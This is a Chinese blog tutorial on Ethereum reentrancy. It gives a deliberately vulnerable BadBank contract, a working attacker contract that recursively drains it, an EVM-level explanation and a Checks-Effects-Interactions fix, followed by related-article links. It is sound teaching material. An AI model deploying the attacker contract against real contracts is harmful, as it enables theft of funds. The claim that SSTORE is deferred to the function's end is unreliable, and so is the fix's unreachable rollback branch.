EVM学习笔记(三):重入攻击

Solidity重入攻击深入理解 重入攻击是以太坊智能合约里最常用的攻击类型之一,它对The Dao实施的重入攻击,导致了以太坊的硬分叉。让我们一起来深入理解该类型攻击的根因,以及如何防御。 阅读详情

EVM的“直觉级”漏洞:重入攻击

引言:当理论变成代码的“直觉”

在Solidity开发中,理解EVM的执行机制至关重要。本文通过两个核心案例——重入攻击和代理合约漏洞,以"先复现攻击→再原理分析→最后修复"的方式,帮助开发者建立对EVM安全机制的深层认知。这种认知不是抽象概念,而是通过实际代码执行路径形成的"肌肉记忆"。

重入攻击全解析

1.1 漏洞合约构建

我们首先构建一个存在重入漏洞的Bank合约:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract BadBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // 危险操作:先执行外部调用
        (bool ok, ) = msg.sender.call{value: amount}("");
        require(ok, "Transfer failed");

        // 状态更新滞后
        balances[msg.sender] -= amount;
    }
}

关键漏洞点:在状态更新(balances修改)之前执行了外部调用(call),这为重入攻击创造了条件。

1.2 攻击合约实现

攻击者通过递归调用实现资金盗取:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IBadBank {
    function deposit() external payable;
    function withdraw(uint256 amount) external;
}

contract ReentrancyAttacker {
    IBadBank public bank;
    uint256 public attackAmount;

    constructor(address _bank) {
        bank = IBadBank(_bank);
    }

    function attack() external payable {
        require(msg.value > 0, "Need ETH to attack");
        attackAmount = msg.value;
        
        bank.deposit{value: msg.value}();
        bank.withdraw(attackAmount);
    }

    // 关键回调函数
    receive() external payable {
        if (address(bank).balance >= attackAmount) {
            bank.withdraw(attackAmount);
        }
    }
}

1.3 攻击执行流程(EVM视角)

  1. 初始状态:Bank合约余额=10 ETH,攻击者存入1 ETH

  2. 第一次withdraw:

    • 余额检查通过(1 >= 1)
    • 执行call向攻击者转账(控制权转移)
    • 攻击者合约的receive()被触发
  3. 递归调用:

    • 在receive()中再次调用withdraw
    • 由于状态尚未更新,余额检查仍通过
    • 重复转账过程直到Bank余额耗尽

1.4 根本原因分析

EVM的同步调用栈模型允许:

  • 控制权转移:call操作将执行权完全交给外部合约
  • 状态延迟更新:SSTORE操作在函数结束前不会生效
  • 嵌套调用:同一合约的同一函数可被递归调用

这种设计使得EVM只保证代码执行顺序,而不关心业务逻辑的安全性。开发者必须自行实现状态保护机制。

1.5 安全修复方案

采用CEI(Checks-Effects-Interactions)模式:

function safeWithdraw(uint256 amount) external {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    
    // 1. 状态修改(Effect)
    uint256 balanceBefore = balances[msg.sender];
    balances[msg.sender] -= amount;
    
    // 2. 外部调用(Interaction)
    (bool ok, ) = msg.sender.call{value: amount}("");
    require(ok, "Transfer failed");
    
    // 3. 异常处理(可选)
    if (!ok) {
        balances[msg.sender] = balanceBefore;
    }
}
web3系列——重入攻击(solidity) 使用模式:先进行检查,修改合约状态,再与外部合约交互。使用:通过在合约中引入状态标志,防止重入调用。 阅读详情

相关推荐

以太坊智能合约安全漏洞 (1):重入攻击

本文转自公众号:亨利笔记 首发于: https://hash1024.org/topics/27 本文的英文原文已有若干个中文翻译版本,但译文和原文都有错漏或不足。本文系基于译者(Henry)的理解,重新翻译并做了修正,并且加入了个人的注解和插图,力求让读者更容易领会原文的含义。为不影响阅读体验,注解没有单独标出, 可当译文 +“笔记”来阅读。感兴趣的读者可参考文末的原文地址。 虽然仍然处...

henrynote的博客 8979

【合约安全】重入 (Reentrancy) 攻击

重入(Reentrancy)攻击是合约攻击中比较常见的攻击手段。黑客利用自己攻击合约中的 fallback() 函数和多余的gas将合约中本不属于自己的 ETH 转走。

weixin_43742184的博客 1万+

智能合约安全实战:重入攻击与闪电贷攻击的攻防解析

智能合约作为区块链应用的核心组件,其安全性直接关系到链上资产的安危。其运行原理基于以太坊虚拟机(EVM)的确定性执行,任何代码漏洞都可能被恶意利用,导致不可逆的资产损失。在DeFi(去中心化金融)领域,智能合约安全的技术价值尤为凸显,它不仅是代码正确性的保障,更是维护整个金融协议信任的基石。常见的应用场景包括去中心化交易所、借贷平台和资产管理协议。其中,重入攻击和闪电贷攻击是两种极具代表性的高危攻击向量。重入攻击利用了合约状态更新与外部调用间的时序漏洞,而闪电贷攻击则通过无抵押的瞬时大额借贷,放大了其他漏洞

weixin_34411563的博客 416

智能合约安全专题(一):什么是重入攻击?——从 DAO 事件谈起

DAO 攻击的本质,是一个简单但致命的逻辑顺序错误。本文将带你看懂什么是重入攻击,它是如何发生的,又该如何避免它。

持续分享有趣的技术干货 1720

智能合约安全之Solidity重入攻击漏洞的深入理解

该代码段判断目标合约的余额,当余额大于 1 个以太币时继续调用目标合约的提款函数给恶意合约转账,直到目标合约的余额不再满足转账条件,这就是重入攻击。合约可以有一个未命名的函数。如果在一个到合约的调用中,没有其他函数与给定的函数标识符匹配(或没有提供调用数据),那么这个函数(fallback 函数)会被执行。通常情况下合约之间通过 call 来相互调用执行,由于 call 在相互调用过程中,被调用方的内置变量 msg 会随着调用方的改变而改变,这就成为了一个安全隐患,在特定的应用场景下将引发安全问题。

关于代码的那些事 2090

抖音小游戏(IAA)巨量引擎投放指南

摘要:本文详细介绍了在巨量引擎平台投放小游戏广告的完整流程,包括五个关键步骤:1)添加小游戏资产,填写ID等信息并等待审核;2)添加事件管理,配置激活和关键行为事件;3)通过橙子建站创建落地页,设置跳转链接;4)新建广告项目,选择小程序推广目标;5)完成广告创建。

分享前端工程化、AI 应用、Agent 开发与大模型实践! 4486

区块链黑客第一讲:重入攻击

区块链骇客专栏第一章,智能合约安全审计必练!

weixin_52628792的博客 2142

具身智能的建模和方法(具身智能入门一)

本文以机械臂将小红方块移动到目标位置为例对具身智能的建模和方法进行介绍,如下图所示,该例子来自https://ai-workshops.github.io/building-and-working-in-environments-for-embodied-ai-cvpr-2022/。

weixin_39699362的博客 1462

Learn EVM Attacks 重入攻击专题:从 CreamFinance 到 FeiProtocol 的漏洞剖析

重入攻击是以太坊智能合约开发中最常见也最危险的漏洞类型之一。本文将通过分析 CreamFinance 和 FeiProtocol 两个真实案例,深入探讨重入攻击的原理、危害及防御措施,帮助开发者和安全爱好者建立完整的智能合约安全意识。 ## 什么是重入攻击? 重入攻击(Reentrancy Attack)是指攻击者利用合约在执行外部调用时的状态更新延迟,通过递归调用合约函数来重复获取不当利益的

gitblog_00807的博客 701

STM32F103C8T6+A4988驱动42步进电机全流程(附接线图+代码解析)

本文详细介绍了使用STM32F103C8T6单片机与A4988驱动模块控制42步进电机的完整流程。内容涵盖硬件接线图解析、电流设置、GPIO驱动代码编写以及细分控制等核心实践,旨在帮助嵌入式开发者和DIY爱好者快速实现精准运动控制,适用于3D打印机、CNC等需要精密定位的项目。

Python的专栏 793

YOLOv8改进 | Conv篇 | 轻量级下采样方法ContextGuided(大幅度涨点)

ContextGuided通过创新的局部-全局协同机制,解决了传统下采样方法中细节丢失与上下文缺失的核心痛点。实验证明其在YOLOv8上可实现最高2.6%的mAP提升,且计算开销增加不足5%。这种即插即用的设计为实时目标检测系统提供了新的优化方向。创新启示:轻量化不代表简单裁剪,智能信息融合才是未来方向!下一步探索与Transformer结合构建混合架构多尺度上下文融合机制3D点云中的扩展应用资源获取完整训练代码:[GitHub链接]预训练模型:[Google Drive链接]讨论话题。

QQ_778132974的博客 289

EVM学习笔记(二):理解EVM执行

本文将通过一个精简的 Bank 合约实现,系统性地剖析 EVM(以太坊虚拟机)的执行流程。不同于常规的代码编写教学,本文聚焦于 Solidity 代码与 EVM 底层操作的映射关系,建立完整的虚拟机执行认知框架。

voidmort的博客 661

【CANdelaStudio编辑CDD】-2.2-给$27服务SecurityAccess创建一个SecurityLevel安全级别并修改SecurityAccess安全访问状态机(UDS诊断)

前一篇: 【UDS诊断描述文件CDD】-2.1-ISO_14229中$27服务理论部分https://blog.youkuaiyun.com/qfmzhu/article/details/120392660 案例背景: 在CDD中如何给$27服务创建一个新的SecurityLevel安全级别; 在CDD中如何给$27服务修改SecurityAccess安全访问状态机。 1 查看$27服务中已有的SecurityLevel安全级别 2 查看$27服务中已有的SecurityAccess安全...

「汽车电子助手」的博客 4642

Solidity 智能合约安全审计:从重入攻击到形式化验证的攻防实战

Solidity 智能合约的安全审计是一项系统工程,而非单点工具可以覆盖。核心要点如下:第一,理解 EVM 执行模型是防御的基础。重入攻击的根源在于外部调用创建新执行上下文,Checks-Effects-Interactions 模式是最直接有效的防御手段,配合修饰符形成双重保障。第二,工具链必须组合使用。Slither 负责快速模式扫描,Mythril 深入符号执行,Echidna 进行模糊测试,三者互补覆盖不同漏洞类型。在 CI/CD 中集成自动化审计,确保每次代码变更都经过扫描。

qq_40635035的博客 1080

在Keil uv5里面添加STC元器件库,不影响其他元件

先到网上下载stc.CBD(宏晶网站的地址实效了)还有STC新系列单片机的头文件,宏晶的网站就有1、在Keil/C51/INC下新建目录"STC"文件夹, 把所有STC新系列单片机的头文件拷贝到"STC"目录下。2、下载的用于keil下的STC器件数据库更名为STC.CDB并拷贝到Keil/UV4目录下。3、打开Keil文件夹下的TOOLS.ini文件。4、在[UV2]下键入CDB0="UV2\S

技术联盟 1万+

02 HCM CPI SF集成-组织集成(一)

将员工主数据和组织数据从SAP Successfactors Employee CentraI复制到SAPERP或SAP S/4HANA,SAP SF CPI HCM集成

SAP CPI 129

合约安全之重入攻击

还记得当年的ZheDao事件,硬是让以太坊硬分叉造就了以太经典ETC。 一个月就筹集了1个多亿刀的以太啊,想都不敢想。 16年那会,要是俺就接触了合约安全多好~哈哈。那不早就财富自由了… 要学习重入攻击,需要了解如下几个基本概念 什么是gas、gas limit、gas price 什么是fallback回退函数 什么是transfer、send、call 1.gas 以太坊在区块链上实现了一个运行环境,被称为以太坊虚拟机(EVM)。每个参与到网络的节点都会运行都会运行EVM作为区块验证协议的一部分

xiaoyue2019的博客 1403

什么是DHCP Snooping?如何配置DHCP Snooping?

功能描述防护类型防御伪造 DHCP 服务器、避免地址冲突、增强网络安全性使用场景企业园区网、校园网、大型局域网配合机制IP Source Guard、DAI、防止 ARP 欺骗部署难度⭐⭐(简单)“DHCP Snooping,是内网 DHCP 安全防护的第一道门神。” 🛡️。

网络技术联盟站 1267

智能合约闪电贷攻击深度解析:Learn EVM Attacks 中的经典案例研究

闪电贷攻击已成为DeFi领域最致命的安全威胁之一,这种攻击模式允许攻击者在单笔交易中借入巨额资金,利用智能合约漏洞获取不当利润。Learn EVM Attacks 项目收录了多个真实的闪电贷攻击案例,为开发者提供了宝贵的学习资源。本文将深入解析闪电贷攻击的工作原理,并通过项目中的经典案例展示攻击者的操作手法。 ## 🔍 什么是闪电贷攻击? 闪电贷是一种特殊的DeFi借贷机制,允许用户在无需抵

gitblog_00865的博客 6万+

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

区块链知识系列 - 系统学习EVM(二)-存储与安全

特点 EVM出于所谓运算速度和效率方面考虑,采用了非主流的256bit整数。 不支持浮点数 缺乏标准库支持,例如字符串拼接、切割、查找等等都需要开发者自己实现 给合约打补丁或是部分升级合约代码在EVM中是完全不可能的 存储 Code code 部署合约时储存 data 字段也就是合约内容的空间,即专门存储智能合约的二进制源码的空间 Storage Storage 是一个可以读写修改的持久存储的空间,也是每个合约持久化存储数据的地方。Storage 是一个巨大的 map,一共 22562^{256}22

搬砖魁首的博客 3994

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Solidity 智能合约实战:重入攻击防御与安全模式深度解析

重入攻击的根源在于 EVM 的状态延迟提交机制与外部调用的执行权转移。永远不要在状态更新之前进行外部调用。CEI 模式是第一道防线,ReentrancyGuard 是第二道防线,Pull Payment 是架构层面的根本性解决方案。三者并非互斥,在生产环境中应组合使用。落地路线建议:首先在团队编码规范中强制要求 CEI 模式,并通过 Slither 等静态分析工具自动检测违反 CEI 的代码路径。其次,所有涉及 ETH 转账的合约必须继承 ReentrancyGuard。

qq_40635035的博客 1061

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Solidity 智能合约安全漏洞——普通重入攻击

Solidity 智能合约安全漏洞——普通重入攻击

qq_69584919的博客 3846

重入攻击和 DAO 被黑事件

在 2015 年之前,还在早期的以太坊社区就开始讨论了。DAO 想要做到的是通过可验证的代码(具体来说,就是运行在以太坊区块链上的智能合约)来实现人与人之间的协作,同时通过社区的协议来进行去中心化的决策。在 2016 年,也就是以太坊主网运行了一年以后,一个名叫 “The DAO” 的 DAO 被创建了。它是一个去中心化的,由社区控制的投资基金。它通过销售自己的社区通证募集了价值 1 亿 5000 万的美元的 ether(大概有 354 万 ETH)。

smartContractXH的博客 980

深入理解 Aptos Move 中的重入攻击: 从 EVM 噩梦到 Move 的多层防御

Move 并没有让重入变得不可能,但它让重入变得比 Solidity 中困难得多。资源模型杜绝了最常见的攻击模式,而则提供了运行时的跨模块重入防护。Move 真正的安全优势并不在于它能消灭所有漏洞,而在于它能从设计上消灭整类漏洞。我们不再需要依赖开发者时刻谨记“检查-生效-交互”模式(他们总会忘记,审计师也会遗漏),Move 让许多攻击在架构层面变得困难甚至不可能。这并非安全的保证,而是一个巨大的先发优势。

HK2KING的博客 345

Ethermint安全最佳实践:保护你的EVM链免受常见攻击

Ethermint作为Cosmos SDK生态中的重要组件,为构建可扩展且互操作的EVM链提供了强大支持。随着区块链应用的普及,安全防护已成为开发者和项目方不可忽视的核心环节。本文将系统介绍Ethermint网络的安全最佳实践,帮助你有效防范常见攻击风险,确保区块链系统稳定运行。 ## 安全漏洞响应机制 Ethermint采用多层次的安全漏洞处理流程,通过[Immunefi](https://

gitblog_00941的博客 762
上一篇: EVM学习笔记(二):理解EVM执行
下一篇: EVM学习笔记(五):EVM的STORE
voidmort
博客等级 码龄9年 13粉丝 82原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值